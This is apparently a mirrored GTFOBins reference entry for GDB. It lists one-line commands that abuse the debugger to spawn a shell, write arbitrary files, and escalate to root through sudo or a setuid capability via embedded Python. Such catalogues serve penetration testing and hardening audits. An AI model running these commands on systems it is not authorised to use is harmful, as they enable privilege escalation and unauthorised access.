mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
19 lines
689 B
Markdown
19 lines
689 B
Markdown
---
|
|
description: |
|
|
GDB may come with embedded Python support, in that case arbitrary code can be executed with the `python` command in the context of the GDB process.
|
|
|
|
See the entries of Python [version 2](/gtfobins/python2/) and [version 3](/gtfobins/python3/).
|
|
functions:
|
|
execute-interactive:
|
|
- code: gdb -nx -ex '!sh' -ex quit
|
|
file-write:
|
|
- code: |
|
|
LFILE=file_to_write
|
|
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
|
|
sudo-enabled:
|
|
- code: sudo gdb -nx -ex '!sh' -ex quit
|
|
capabilities-enabled:
|
|
- description: Only if it has been compiled with Python support.
|
|
code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
|
|
---
|